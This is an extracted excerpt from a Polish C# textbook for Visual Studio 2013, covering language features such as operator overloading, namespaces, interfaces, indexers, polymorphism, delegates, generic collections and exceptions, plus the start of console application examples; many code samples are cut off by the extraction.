A a = new A();
a.Method1(2); //wywołanie metody Method1(int A)
a.Method1(3, 4); //wywołanie metody Method1(int A, int B)
a.Method1(5.2); //wywołanie metody Method1(double A)
}
}
54 Visual Studio 2013. Tworzenie aplikacji desktopowych, mobilnych i internetowych
Wyjście programu:
A = 2
A = 3, B = 4
A = 5.2
class Fraction
{
int num, den; //num - licznik, den - mianownik
public Fraction(int num, int den)
{
this.num = num;
this.den = den;
}
//przeciążony operator +
public static Fraction operator +(Fraction a, Fraction b)
{
return new Fraction(a.num * b.den + b.num * a.den,
a.den * b.den);
}
//przeciążony operator *
public static Fraction operator *(Fraction a, Fraction b)
{
return new Fraction(a.num * b.num, a.den * b.den);
}
{
return (double)f.num / f.den;
}
}
class Program
{
static void Main()
{
Fraction a = new Fraction(1, 2);
Fraction b = new Fraction(3, 7);
Fraction c = new Fraction(2, 3);
Console.WriteLine((double)a);
Console.WriteLine((double)(a * b + c));
}
}
Wyjście programu:
0.5
0.880952380952381
Nie wszystkie operatory mogą być przeciążone ― niektóre mają ograniczenia, co zo-
stało opisane w tabeli 1.5.
class Digit
{
public Digit(double d) { val = d; }
public double val;
class Program
{
static void Main()
{
Digit dig = new Digit(7);
//wywołanie operatora konwersji z Digit na double
double num = dig;
//wywołanie operatora konwersji z double na Digit
Digit dig2 = 12;
Console.WriteLine("num = {0} dig2 = {1}", num, dig2.val);
}
}
Natomiast słowo kluczowe explicit jest używane przy konwersji z jednego typu
zdefiniowanego przez programistę na inny typ zdefiniowany przez programistę. Kon-
wersja taka musi być wywoływana razem z rzutowaniem.
Przykładowe wywołanie:
Fahrenheit fahr = new Fahrenheit(100.0f);
Console.Write("{0} Fahrenheit", fahr.Degrees);
Celsius c = (Celsius)fahr;
Rozdział 1. Język C# 57
class A
{
public static int val = 0; //statyczne pole
public static void f() //statyczna metoda
{
Console.WriteLine("Statyczna metoda f() z klasy A");
}
}
class Program
{
static void Main()
{
A.val = 64;
Console.WriteLine("A.val = {0}", A.val);
A.f();
}
}
Widać w tym przykładzie, że do pól i metod statycznych odwołujemy się, podając na-
zwę klasy i po kropce nazwę pola lub metody. Nie tworzymy żadnego obiektu.
Jeżeli chcesz odwołać się do typu w określonej przestrzeni nazw, należy wpisać prze-
strzeń nazw, po kropce podrzędne przestrzenie nazw, a na końcu nazwę typu.
58 Visual Studio 2013. Tworzenie aplikacji desktopowych, mobilnych i internetowych
Wywołanie metody WriteLine z klasy Console, która znajduje się w przestrzeni nazw
System, wygląda następująco:
class Program
{
static void Main()
{
System.Console.WriteLine("Metoda WriteLine z klasy Console z przestrzeni
nazw System");
}
}
Aby skrócić zapis, można użyć słowa kluczowego using; wtedy pomijamy przestrzeń
nazw i od razu odwołujemy się do typu w tej przestrzeni:
using System; //użyj przestrzeni nazw System
class Program
{
static void Main()
{
Console.WriteLine("Metoda WriteLine z klasy Console z przestrzeni nazw
System");
}
}
Można także tworzyć własne przestrzenie nazw; robi się to według schematu:
namespace nazwa_przestrzeni
{
//typy zawarte w przestrzeni nazw
}
}
class Program
{
static void Main()
Rozdział 1. Język C# 59
{
Animals.Dog dog1 = new Animals.Dog();
Animals.Wolf wolf1 = new Animals.Wolf();
dog1.Bark(); //Pies szczeka
wolf1.Howl(); //Wilk wyje
}
}
Jak wcześniej wspomniano, można użyć słowa kluczowego using i wtedy pomijać
przestrzeń nazw w odwoływaniu się do typów w tej przestrzeni:
using System;
using Animals; //Użyj przestrzeni nazw Zwierzęta
namespace Animals //przestrzeń nazw Zwierzęta
{
class Dog //klasa Pies
{
public void Bark() //metoda Szczekać
{
Console.WriteLine("Pies szczeka.");
}
}
class Wolf //klasa Wilk
{
public void Howl() //metoda Wyć
{
Console.WriteLine("Wilk wyje.");
}
}
}
class Program
{
static void Main()
{
Dog dog1 = new Dog(); //Nie musimy podawać przestrzeni nazw
Wolf wolf1 = new Wolf(); //przy odwoływaniu się do jej typów
dog1.Bark(); //Pies szczeka
wolf1.Howl(); //Wilk wyje
}
}
Jeżeli daną przestrzeń nazw chcemy nazwać tak, jak nam jest wygodnie, możemy
utworzyć alias. Robi się to według schematu:
using Sys = System; //Utworzenie skrótu Sys do nazwy System
class Program
{
static void Main()
{
Sys.Console.WriteLine("Witaj."); //Zamiast System możemy napisać Sys
}
}
Wtedy możemy używać zarówno aliasu (Sys), jak i pełnej nazwy przestrzeni (System).
60 Visual Studio 2013. Tworzenie aplikacji desktopowych, mobilnych i internetowych
1.15. Właściwości,
akcesor get i mutator set
Właściwość to składowa, która dostarcza elastyczny mechanizm do odczytu, zapisu
czy obliczenia wartości prywatnego pola. Z właściwościami wiąże się też pojęcie ak-
cesorów, czyli specjalnych metod. Istnieją dwa akcesory: get i set. Akcesor get służy
do kontroli zwracanej wartości. Natomiast akcesor set służy do kontroli przypisywanej
wartości. Zawiera on także (akcesor set) specjalne słowo o nazwie value, które definiuje
wartość przypisywaną.
class Program
{
static void Main()
{
TimePeriod t = new TimePeriod();
1.16. Interfejsy
Interfejs opisuje grupę funkcjonalności, które mogą należeć do danej klasy czy struktury.
Definiuje się go przy użyciu słowa kluczowego interface, jak w przykładzie poniżej:
interface IEquatable<T>
{
bool Equals(T obj);
}
Rozdział 1. Język C# 61
Interfejs może zawierać metody, właściwości, zdarzenia i indeksery. Nie może nato-
miast zawierać pól, operatorów, wartości stałych, konstruktorów, destruktorów ani ty-
pów. Nie może także zawierać stałych składowych. Składowe interfejsów są publiczne
i nie mogą zawierać modyfikatorów dostępu.
Dzięki powyższej implementacji ktoś używający naszego kodu może porównać, czy
obiekty klasy Car są takie same, metodą Equals:
Car car1 = new Car();
Car car2 = new Car();
if (car1.Equals(car2))
Console.WriteLine("car1 = car2");
else
Console.WriteLine("car1 != car2");
Oczywiście powyższe obiekty nie są takie same, czyli na konsoli zostanie wypisane:
car1 != car2
Podsumujmy:
Interfejs jest jak abstrakcyjna klasa bazowa: każdy nieabstrakcyjny typ
implementujący interfejs musi zaimplementować wszystkie jego składowe.
Interfejsy mogą zawierać zdarzenia, indeksery, metody i właściwości.
Interfejsy nie zawierają implementacji metod.
62 Visual Studio 2013. Tworzenie aplikacji desktopowych, mobilnych i internetowych
public class A
{
public int a;
}
class Program
{
static void Main()
{
A a1 = new A();
a1.a = 16;
A a2 = new A();
a2 = a1; //skopiowanie referencji
Console.WriteLine("a2.a = {0}", a2.a); //wypisze a2.a = 16
a1.a = 32;
Console.WriteLine("a2.a = {0}", a2.a); //wypisze a2.a = 32
}
}
Jeżeli chcemy sprawdzić, czy referencje odwołują się do tego samego obiektu, uży-
wamy statycznej metody Object.ReferenceEquals(), która zwraca true, jeżeli tak
jest, a false w przeciwnym wypadku. Oczywiście w powyższym przykładzie metoda
zwróciłaby wartość true.
Płytka kopia
Jeżeli klasa obiektu, który chcemy skopiować, nie ma pól referencyjnych, możemy użyć
płytkiej kopii. Wystarczy, żeby klasa dziedziczyła po interfejsie ICloneable i implemento-
wała metodę Clone(), jak w przykładzie poniżej:
using System;
return MemberwiseClone();
}
}
class Program
{
static void Main()
{
A a1 = new A();
A a2 = new A();
a1.a = 8;
a2 = (A)a1.Clone();
Console.WriteLine("a2.a = {0}", a2.a); //wypisze a2.a = 8
if (Object.ReferenceEquals(a1, a2))
Console.WriteLine("Referencje a1 i a2 odwołują się do tego samego
obiektu");
else
Console.WriteLine("Referencje a1 i a2 nie odwołują się do tego samego
obiektu"); //To się wykona
}
}
Głęboka kopia
Głębokiej kopii używamy, gdy klasa ma pola referencyjne. Tworzymy wtedy specjalną
metodę kopiującą, jak w poniższym przykładzie:
using System;
class A
{
public int a;
public B objB;
public A()
{
objB = new B();
}
public A DeepCopy()
{
A tempA = new A();
tempA.a = this.a;
tempA.objB.word = this.objB.word;
return tempA;
}
}
class B
{
public string word;
}
class Program
{
static void Main()
{
A a1 = new A();
A a2 = new A();
64 Visual Studio 2013. Tworzenie aplikacji desktopowych, mobilnych i internetowych
a1.a = 7;
a1.objB.word = "przykład";
if (Object.ReferenceEquals(a1.objB, a2.objB))
Console.WriteLine("Referencje a1.objB i a2.objB odwołują się do tego
samego obiektu");
else
Console.WriteLine("Referencje a1.objB i a2.objB nie odwołują się do
tego samego obiektu"); //To się wykona
}
}
1.17. Indeksery
Indeksery pozwalają na indeksowanie instancji klasy lub struktury tak jak tablic. Są
one podobne do właściwości, z taką różnicą że ich akcesory pobierają parametry.
Notacja ta nie tylko upraszcza składnię, ale także powoduje, że odwoływanie się jest
bardziej intuicyjne.
Poniższy przykład pokazuje, jak zadeklarować prywatne pole tablicy temps oraz indekser.
Indekser pozwala na bezpośredni dostęp do instancji poprzez zapis tempRecord[i].
Alternatywnym rozwiązaniem bez użycia indeksera jest zadeklarowanie tablicy jako
publicznej.
Zauważ, że gdy następuje dostęp do indeksera, wywoływany jest akcesor get. Jeżeli
akcesor get nie będzie istniał, to wystąpi błąd.
class TempRecord
{
//tablica z wartościami temperatur
private float[] temps = new float[10] { 56.2F, 56.7F, 56.5F, 56.9F, 58.8F,
61.3F, 65.9F, 62.1F, 59.2F, 57.5F };
Rozdział 1. Język C# 65
set
{
temps[index] = value;
}
}
}
class MainClass
{
static void Main()
{
TempRecord tempRecord = new TempRecord();
//użycie akcesora set
tempRecord[3] = 58.3F;
tempRecord[5] = 60.1F;
Wyjście programu:
Element #0 = 56.2
Element #1 = 56.7
Element #2 = 56.5
Element #3 = 58.3
Element #4 = 58.8
Element #5 = 60.1
Element #6 = 65.9
Element #7 = 62.1
Element #8 = 59.2
Element #9 = 57.5
Język C# nie ogranicza typu indeksu do liczby całkowitej. Może to być też napis, na
przykład przy implementacji indeksera wyszukującego w kolekcji napisu.
Podsumujmy:
Indeksery pozwalają na indeksowanie obiektów podobnie jak tablic.
Akcesor get zwraca wartość. Akcesor set ustawia ją.
66 Visual Studio 2013. Tworzenie aplikacji desktopowych, mobilnych i internetowych
Najpierw utwórz klasę bazową o nazwie Shape (kształt) oraz klasy pochodne Rectangle,
Circle i Triangle (prostokąt, koło i trójkąt). Dodaj do klasy Shape metodę wirtualną
Draw (rysuj) i przesłoń ją w każdej klasie pochodnej. Utwórz obiekt List<Shape>, czyli
listę (o typach generycznych dowiesz się więcej z dalszej części książki), i dodaj do niej
prostokąt (Rectangle), trójkąt (Triangle) i koło (Circle). Do odświeżenia powierzchni
do rysowania użyj pętli foreach, iterując po jej elementach i wywołując metodę Draw
na każdym obiekcie typu Shape.
Rozdział 1. Język C# 67
//metoda wirtualna
public virtual void Draw()
{
Console.WriteLine("Podstawowe zadanie rysowania");
}
}
class Program
{
static void Main()
{
//Prostokąt, trójkąt i koło mogą być użyte wszędzie, gdzie wymagany
//jest typ Shape. Nie jest tu wymagane żadne rzutowanie, ponieważ
//istnieje domyślna konwersja z klasy pochodnej na bazową
System.Collections.Generic.List<Shape> shapes = new
System.Collections.Generic.List<Shape>();
shapes.Add(new Rectangle());
shapes.Add(new Triangle());
shapes.Add(new Circle());
68 Visual Studio 2013. Tworzenie aplikacji desktopowych, mobilnych i internetowych
Wyjście programu:
Rysuję prostokąt
Podstawowe zadanie rysowania
Rysuję trójkąt
Podstawowe zadanie rysowania
Rysuję koło
Podstawowe zadanie rysowania
W języku C# każdy typ jest polimorficzny, gdyż wszystkie typy, włączając w to typy
zdefiniowane przez programistę, dziedziczą z typu Object.
Klasa pochodna może przesłonić składową klasy bazowej tylko wtedy, gdy ta skła-
dowa jest zadeklarowana w klasie bazowej jako wirtualna (słowo kluczowe virtual) lub
abstrakcyjna (słowo kluczowe abstract). Pochodna składowa musi używać słowa klu-
czowego override, aby zaznaczyć, że będzie ona brała udział w wywołaniu wirtualnym.
Oto przykład:
public class BaseClass
{
public virtual void DoWork() { }
public virtual int WorkProperty
{
get { return 0; }
}
}
public class DerivedClass : BaseClass
{
public override void DoWork() { }
public override int WorkProperty
{
Rozdział 1. Język C# 69
get { return 0; }
}
}
Pola nie mogą być wirtualne. Tylko metody, właściwości, zdarzenia i indeksery mogą
być wirtualne. Jeśli klasa pochodna przesłania wirtualną składową, to jest wywoły-
wana, gdy następuje dostęp do instancji tej klasy jako do instancji klasy bazowej.
Oto przykład:
DerivedClass B = new DerivedClass();
B.DoWork(); //Wywołuje nową metodę
BaseClass A = (BaseClass)B;
A.DoWork(); //Również wywołuje nową metodę
Oto przykład:
public class BaseClass
{
public void DoWork() { WorkField++; }
public int WorkField;
public int WorkProperty
{
get { return 0; }
}
}
public class DerivedClass : BaseClass
{
public new void DoWork() { WorkField++; }
public new int WorkField;
public new int WorkProperty
{
get { return 0; }
}
}
Ukryte składowe klasy bazowej są nadal dostępne poprzez rzutowanie instancji klasy
pochodnej na instancję klasy bazowej, tak jak w przykładzie poniżej:
DerivedClass B = new DerivedClass();
B.DoWork(); //Wywołuje nową metodę
BaseClass A = (BaseClass)B;
A.DoWork(); //Wywołuje starą metodę
70 Visual Studio 2013. Tworzenie aplikacji desktopowych, mobilnych i internetowych
Oto przykład:
public class A
{
public virtual void DoWork() { }
}
public class B : A
{
public override void DoWork() { }
}
Oto przykład:
public class C : B
{
public sealed override void DoWork() { }
}
W poprzednim przykładzie metoda DoWork nie jest już dłużej wirtualna dla żadnej kla-
sy pochodnej z C. Jest jednak nadal wirtualna dla instancji klasy C, nawet gdy wykona
się rzutowanie na typ B lub A. Zapieczętowane (sealed) metody mogą być zastąpione
w klasie pochodnej przy użyciu słowa kluczowego new.
Oto przykład:
public class D : C
{
public new void DoWork() { }
}
W tym przypadku jeżeli DoWork jest wywoływana z klasy D przy użyciu zmiennej typu
D, to wywoływana jest nowa wersja tej metody. Jeżeli zmienna typu C, B lub A jest
używana przy dostępie do instancji D, to wywołanie metody DoWork nastąpi według
zasad wirtualnego dziedziczenia, czyli przekieruje te wywołania do implementacji
metody DoWork z klasy C.
Rozdział 1. Język C# 71
Oto przykład:
public class Base
{
public virtual void DoWork() { /*...*/ }
}
public class Derived : Base
{
public override void DoWork()
{
//Kod metody pochodnej
//...
//Wywołanie metody DoWork klasy bazowej
base.DoWork();
}
}
Oto przykład:
int x = 42;
string strx = x.ToString();
Console.WriteLine(strx); //wypisze: 42
Jeżeli tworzysz własną klasę lub strukturę, powinieneś przesłonić metodę ToString,
aby dostarczyć informacji o utworzonym przez Ciebie typie.
{
return "Person: " + Name + " " + Age;
}
}
//Wywołanie delegatów
testDelA("Witam. Jestem M i piszę ten tekst.");
testDelB("Jestem anonimowy i");
testDelC("jestem znanym autorem.");
}
}
Oto przykład:
//Deklaracja delegatu
delegate void Printer(string s);
class TestClass
{
static void Main()
{
//Delegat z metodą anonimową
Printer p = delegate(string j)
{
System.Console.WriteLine(j);
};
Jeżeli chcesz utworzyć wyrażenie lambda, określasz parametry wejściowe (jeżeli są)
z lewej strony operatora => i piszesz wyrażenie lub blok kodu z prawej strony operatora.
Na przykład wyrażenie x => x * x określa parametr nazwany x i zwraca wartość x*x.
Składnia:
public delegate TResult Func<in T, out TResult>(
T arg
)
lub:
public delegate TResult Func<out TResult>( )
Oto przykład:
using System;
using System.IO;
public class TestDelegate
{
public static void Main()
{
OutputTarget output = new OutputTarget();
Func<bool> methodCall = output.SendToFile;
if (methodCall())
Console.WriteLine("Sukces!");
else
Console.WriteLine("Operacja zapisu się nie powiodła.");
}
}
{
try
{
string fn = Path.GetTempFileName();
StreamWriter sw = new StreamWriter(fn);
sw.WriteLine("Witaj świecie!");
sw.Close();
return true;
}
catch
{
return false;
}
}
}
W typowej aplikacji Windows Forms (o czym będzie mowa w dalszej części książki)
subskrybuje się zdarzenia wysyłane przez kontrolki, takie jak listy czy przyciski. Śro-
dowisko Visual Studio pozwala wybrać zdarzenia, które chcemy obsługiwać, i wy-
generować dla nich odpowiedni kod.
Zdarzenia:
Wydawca sprawdza, czy zdarzenie zostało wysłane. Subskrybenci decydują,
jaką akcję wykonać w odpowiedzi na zdarzenie.
Zdarzenie może mieć wielu subskrybentów. Subskrybent może obsługiwać
wiele zdarzeń, od wielu wydawców.
Zdarzenia, które nie mają subskrybentów, nigdy nie są wysyłane.
W bibliotece klas .NET Framework zdarzenia bazują na delegacie EventHandler
i klasie bazowej EventArgs.
Załóżmy, że chcemy dodać do klasy System.String metodę, która zwróci liczbę słów
w zmiennej tego typu.
76 Visual Studio 2013. Tworzenie aplikacji desktopowych, mobilnych i internetowych
Aby użyć metody z tej przestrzeni, nazw należy dodać na górze kodu programu linię:
using ExtensionMethods;
namespace ExtensionMethods
{
public static class MyExtensions
{
public static int WordCount(this String str)
{
return str.Split(new char[] { ' ', '.', '?' },
StringSplitOptions.RemoveEmptyEntries).Length;
}
}
}
class Program
{
Teraz takiego prostego typu generycznego możemy użyć na przykład w ten sposób:
Generic<int> myG = new Generic<int>();
myG.Show(64); //wypisze: 64
class Program
{
Składnia:
[SerializableAttribute]
[ComVisibleAttribute(false)]
public class Queue<T> : IEnumerable<T>, ICollection,
IEnumerable
78 Visual Studio 2013. Tworzenie aplikacji desktopowych, mobilnych i internetowych
Przykładowy kod:
using System;
using System.Collections.Generic;
class Program
{
static void Main()
{
Queue<string> numbers = new Queue<string>();
numbers.Enqueue("jeden");
numbers.Enqueue("dwa");
numbers.Enqueue("trzy");
numbers.Enqueue("cztery");
numbers.Enqueue("pięć");
Składnia:
[SerializableAttribute]
[ComVisibleAttribute(false)]
public class Stack<T> : IEnumerable<T>, ICollection,
IEnumerable
Przykładowy kod:
using System;
using System.Collections.Generic;
class Program
{
static void Main()
{
Stack<string> numbers = new Stack<string>();
numbers.Push("jeden");
numbers.Push("dwa");
numbers.Push("trzy");
numbers.Push("cztery");
numbers.Push("pięć");
Rozdział 1. Język C# 79
Przykładowy kod:
using System;
using System.Collections.Generic;
class Program
{
static void Main()
{
//Utworzenie listy
string[] words = { "lis", "skoczył", "nad", "psem" };
LinkedList<string> sentence = new LinkedList<string>(words);
Display(sentence, "Wartości listy:");
Składnia:
[SerializableAttribute]
public class List<T> : IList<T>, ICollection<T>,
IEnumerable<T>, IList, ICollection, IEnumerable
Przykładowy kod:
using System;
using System.Collections.Generic;
class Program
{
static void Main()
{
//Utworzenie listy
List<string> dinosaurs = new List<string>();
Console.WriteLine();
foreach (string dinosaur in dinosaurs)
{
Console.WriteLine(dinosaur);
}
Console.WriteLine("\nContains(\"Deinonychus\"): {0}",
dinosaurs.Contains("Deinonychus")); //Sprawdzenie, czy lista zawiera daną pozycję
Console.WriteLine("\nInsert(2, \"Compsognathus\")");
dinosaurs.Insert(2, "Compsognathus"); //Wstawienie nowej pozycji pod indeks 2
Console.WriteLine();
foreach (string dinosaur in dinosaurs)
{
Console.WriteLine(dinosaur);
}
Console.WriteLine("\nRemove(\"Compsognathus\")");
Rozdział 1. Język C# 81
Console.WriteLine();
foreach (string dinosaur in dinosaurs)
{
Console.WriteLine(dinosaur);
}
//Przytnij listę
dinosaurs.TrimExcess();
Console.WriteLine("\nTrimExcess()");
Console.WriteLine("Pojemność: {0}", dinosaurs.Capacity);
Console.WriteLine("Liczba: {0}", dinosaurs.Count);
//Wyczyść listę
dinosaurs.Clear();
Console.WriteLine("\nClear()");
Console.WriteLine("Pojemność: {0}", dinosaurs.Capacity);
Console.WriteLine("Liczba: {0}", dinosaurs.Count);
}
}
Składnia:
[SerializableAttribute]
[ComVisibleAttribute(false)]
public class Dictionary<TKey,TValue> : IDictionary<TKey,TValue>,
ICollection<KeyValuePair<TKey,TValue>>,
IEnumerable<KeyValuePair<TKey,TValue>>, IDictionary, ICollection, IEnumerable,
ISerializable, IDeserializationCallback
Przykładowy kod:
using System;
using System.Collections.Generic;
class Program
{
static void Main()
{
//Utworzenie nowej kolekcji napisów z kluczami (również jako napisy)
Dictionary<string, string> openWith =
new Dictionary<string, string>();
try
{
openWith.Add("txt", "winword.exe");
}
catch (ArgumentException)
{
Console.WriteLine("Element o kluczu = \"txt\" już istnieje.");
}
//Zmiana wartości
openWith["rtf"] = "winword.exe";
Console.WriteLine("Dla klucza = \"rtf\", wartość = {0}.",
openWith["rtf"]);
//Jeżeli klucz nie istnieje, ustawienie indeksera doda nową parę klucz/wartość
openWith["doc"] = "winword.exe";
if (!openWith.ContainsKey("doc"))
{
Console.WriteLine("Klucz \"doc\" nie istnieje.");
}
}
}
Składnia:
[SerializableAttribute]
public class SortedDictionary<TKey,TValue> : IDictionary<TKey,TValue>,
ICollection<KeyValuePair<TKey,TValue>>,
IEnumerable<KeyValuePair<TKey,TValue>>, IDictionary, ICollection, IEnumerable
Przykładowy kod:
using System;
using System.Collections.Generic;
class Program
{
static void Main()
{
//Utworzenie nowej posortowanej kolekcji napisów z kluczami (również jako napisami)
SortedDictionary<string, string> openWith =
new SortedDictionary<string, string>();
{
openWith.Add("txt", "winword.exe");
}
catch (ArgumentException)
{
Console.WriteLine("Element o kluczu = \"txt\" już istnieje.");
}
//Zmiana wartości
openWith["rtf"] = "winword.exe";
Console.WriteLine("Dla klucza = \"rtf\", wartość = {0}.",
openWith["rtf"]);
if (!openWith.ContainsKey("doc"))
{
Console.WriteLine("Klucz \"doc\" nie istnieje.");
}
}
}
Składnia:
[SerializableAttribute]
[ComVisibleAttribute(false)]
public abstract class KeyedCollection<TKey,TItem> : Collection<TItem>
Przykładowy kod:
using System;
using System.Collections.Generic;
using System.Collections.ObjectModel;
Display(weekly);
Console.WriteLine("\nRemoveAt(0)");
weekly.RemoveAt(0);
Rozdział 1. Język C# 87
Display(weekly);
_quantity = value;
}
}
Składnia:
[SerializableAttribute]
[ComVisibleAttribute(false)]
public class SortedList<TKey,TValue> : IDictionary<TKey,TValue>,
ICollection<KeyValuePair<TKey,TValue>>,
IEnumerable<KeyValuePair<TKey,TValue>>, IDictionary, ICollection, IEnumerable
Przykładowy kod:
using System;
using System.Collections.Generic;
class Program
{
static void Main()
{
//Utworzenie nowej posortowanej listy napisów z kluczami
//(również jako napisami)
SortedList<string, string> openWith =
new SortedList<string, string>();
//Zmiana wartości
openWith["rtf"] = "winword.exe";
Console.WriteLine("Dla klucza = \"rtf\", wartość = {0}.",
openWith["rtf"]);
try
{
Console.WriteLine("Dla klucza = \"tif\", wartość = {0}.",
openWith["tif"]);
}
catch (KeyNotFoundException)
{
Console.WriteLine("Klucz = \"tif\" nie istnieje.");
}
if (!openWith.ContainsKey("doc"))
{
Console.WriteLine("Klucz \"doc\" nie istnieje.");
}
}
}
Poniższy przykład demonstruje, jak delegaty mogą być użyte z metodami, które mają
typy zwracane pochodne z typu zwracanego w sygnaturze delegatu. Typ danych zwracany
przez DogsHandler jest typu Dogs, który pochodzi z typu Mammals, zdefiniowanego w de-
legacie.
class Mammals{}
class Dogs : Mammals{}
class Program
{
//Definicja delegatu
public delegate Mammals HandlerMethod();
{
HandlerMethod handlerMammals = MammalsHandler;
Teraz kolejny przykład. Poniższy kod prezentuje, jak delegaty mogą być użyte z me-
todami, które mają parametry typu będącego typem bazowym sygnatury delegatu.
Kontrawariancja pozwala na użycie jednego obsługującego zdarzenia zamiast osobnych.
//Obsługujący zdarzenia, który akceptuje parametry typu EventArgs
private void MultiHandler(object sender, System.EventArgs e)
{
label1.Text = System.DateTime.Now.ToString();
}
public Form1()
{
InitializeComponent();
Przykładowe użycie:
object[] array = new object[2] { "Jakiś tekst", 32 };
Poniższy przykład zawiera metodę, która dzieli dwie liczby ― gdy liczba, przez którą
będzie wykonywane dzielenie, będzie zerem, złapany zostanie wyjątek. Bez obsługi błę-
dów program ten zakończyłby się wyświetleniem komunikatu DivideByZeroException was
unhandled.
using System;
class ExceptionTest
{
static double SafeDivision(double x, double y)
{
if (y == 0)
throw new System.DivideByZeroException();
//Rzuć wyjątek DivideByZeroException
return x / y;
}
static void Main()
{
double a = 98, b = 0;
double result = 0;
1.25.1. Podsumowanie
Wszystkie wyjątki pochodzą z System.Exception.
Używaj bloku try w miejscach, w których mogą wystąpić wyjątki.
Gdy w bloku try wystąpi wyjątek, kontrola zostanie natychmiast przekazana
do obsługi wyjątków. W języku C# słowo kluczowe catch jest używane
do definiowania obsługi wyjątków.
Gdy wystąpi wyjątek, który nie zostanie obsłużony, program zakończy swoje
działanie, wyświetlając komunikat o błędzie.
Gdy blok catch definiuje zmienną wyjątku, możesz jej użyć, aby uzyskać więcej
informacji o wyjątku, który wystąpił.
Kod w bloku finally jest wykonywany nawet, gdy wystąpił wyjątek. Użyj tego
bloku do zwolnienia zasobów, na przykład zamknięcia strumieni lub plików,
które zostały otwarte w bloku try.
Rozdział 1. Język C# 93
Klasa może być zadeklarowana jako abstrakcyjna poprzez umieszczenie słowa klu-
czowego abstract przed definicją. Na przykład:
public abstract class A
{
//Tutaj składowe klasy
}
Nie można tworzyć instancji klasy abstrakcyjnej. Celem klasy abstrakcyjnej jest do-
starczenie definicji klasy bazowej, którą klasy potomne mogą dzielić między sobą. Na
przykład biblioteka może definiować klasę abstrakcyjną używaną jako parametr róż-
nych funkcji i wymagać od programisty korzystającego z biblioteki utworzenia własnej
implementacji klasy poprzez utworzenie klasy potomnej.
Klasy abstrakcyjne mogą definiować metody abstrakcyjne. Robi się to poprzez dodanie
słowa kluczowego abstract przed typem zwracanym przez metodę. Na przykład:
public abstract class A
{
public abstract void DoWork(int i);
}
Metody abstrakcyjne nie mają implementacji, dlatego definicja takiej metody kończy
się średnikiem, a nie blokiem instrukcji. Klasy potomne klasy abstrakcyjnej muszą
implementować wszystkie metody abstrakcyjne. Kiedy klasa abstrakcyjna dziedziczy
metodę wirtualną po klasie bazowej, klasa abstrakcyjna musi przesłonić metodę
wirtualną metodą abstrakcyjną. Na przykład:
94 Visual Studio 2013. Tworzenie aplikacji desktopowych, mobilnych i internetowych
public class D
{
public virtual void DoWork(int i)
{
//oryginalna implementacja
}
}
public class F : E
{
public override void DoWork(int i)
{
//nowa implementacja
}
}
Jeżeli metoda wirtualna jest zadeklarowana jako abstrakcyjna, jest nadal wirtualna dla
każdej klasy dziedziczącej po klasie abstrakcyjnej. Klasa dziedzicząca metodę abs-
trakcyjną nie ma dostępu do oryginalnej implementacji metody ― w poprzednim
przykładzie metoda DoWork klasy F nie może wywołać metody DoWork klasy D. Pod-
sumowując, można powiedzieć, że klasa abstrakcyjna może wymusić na klasach po-
tomnych dostarczenie nowej implementacji metod wirtualnych.
Słowo kluczowe sealed pozwala zabronić dziedziczenia klasy lub składowych, które
zostały wcześniej oznaczone jako virtual.
Klasa zapieczętowana nie może być używana jako klasa bazowa. Z tego powodu nie
może ona być także klasą abstrakcyjną, gdyż zabrania tworzenia klas potomnych. Jako
że klasa taka nie może być klasą bazową, niektóre optymalizacje czasu uruchomienia
(run-time) mogą nieco przyśpieszyć wywoływanie składowych klasy zapieczętowanej.
Składowa klasy potomnej, która przesłania wirtualną składową klasy bazowej, może
zadeklarować tę składową jako zapieczętowaną. Neguje to aspekt wirtualny dla kolej-
nych klas potomnych. Wykonuje się to poprzez umieszczenie słowa kluczowego sealed
przed słowem override w deklaracji składowej. Na przykład:
public class D : C
{
public sealed override void DoWork() { }
}
Rozdział 2.
Aplikacje dla Pulpitu
Zmienna args jest tablicą napisów ― jak już wcześniej wspominałem ― i do jej ele-
mentów można się dostać, używając operatora []. Oczywiście należy pamiętać, że in-
deksy tablicy numerowane są od zera.
namespace MyCalculator
{
class Program
{
static void Main(string[] args)
{
double num = 0.0;
while (true)
{
Console.Clear();
Console.BackgroundColor = ConsoleColor.Black;
Console.ForegroundColor = ConsoleColor.Cyan;
Console.WriteLine("Available operations:");
Console.WriteLine("[a] x! [j] tan");
Console.WriteLine("[b] 1/x [k] sin-1");
Console.WriteLine("[c] sqrt [l] cos-1");
Console.WriteLine("[d] log [m] tan-1");
Console.WriteLine("[e] log10 [n] sinh");
Console.WriteLine("[f] e^x [o] cosh");
Console.WriteLine("[g] PI [p] tanh");
Console.WriteLine("[h] sin [z] EXIT");
Console.WriteLine("[i] cos");
Console.Write(">");
string choice = Console.ReadLine();
if (choice == "")
continue;
if (choice[0] == 'z')
return;
if (choice[0] != 'g')
Rozdział 2. Aplikacje dla Pulpitu 97
{
Console.Write("Enter the number:");
string text = Console.ReadLine();
num = 0.0;
while (!double.TryParse(text, out num))
{
Console.Write("Enter the NUMBER:");
text = Console.ReadLine();
}
}
switch (choice[0])
{
case 'a': // x!
{
long fact = 1;
for (int i = 1; i <= num; i++)
{
fact = fact * i;
}
Console.WriteLine(Convert.ToString(fact));
}
break;
case 'b': //1/x
{
Console.WriteLine((1 / num).ToString());
}
break;
case 'c': //sqrt
{
Console.WriteLine(Math.Sqrt(num).ToString());
}
break;
case 'd': //log
{
Console.WriteLine(Math.Log(num).ToString());
}
break;
case 'e': //log10
{
Console.WriteLine(Math.Log10(num).ToString());
}
break;
case 'f': //e^x
{
Console.WriteLine(Math.Exp(num).ToString());
}
break;
case 'g': //PI
{
Console.WriteLine(Math.PI.ToString());
}
break;
case 'h': //sin
{
Console.WriteLine(Math.Sin(num).ToString());
}
break;
98 Visual Studio 2013. Tworzenie aplikacji desktopowych, mobilnych i internetowych
Console.ReadKey();
} //while
}//main
}//class Program
}
Rozdział 2. Aplikacje dla Pulpitu 99
namespace RPGFightSystem
{
class Monster
{
public string Name { get; set; }
public int baseDamage { get; set; }
public int diceSides { get; set; }
public int damageBonus { get; set; }
public int health { get; set; }
public int givenExperience { get; set; }
return m;
}
}
class Game
{
public List<Monster> availableMonsters = new List<Monster>()
{
new Monster() { Name = "Rat", baseDamage = 1, diceSides = 3,
damageBonus = 0, health = 15, givenExperience = 3},
new Monster() { Name = "Bat", baseDamage = 1, diceSides = 2,
damageBonus = 0, health = 15, givenExperience = 4},
new Monster() { Name = "Goblin", baseDamage = 1, diceSides = 4,
damageBonus = 0, health = 25, givenExperience = 7},
100 Visual Studio 2013. Tworzenie aplikacji desktopowych, mobilnych i internetowych
lastAttackerWasPlayer = false;
}
else
{
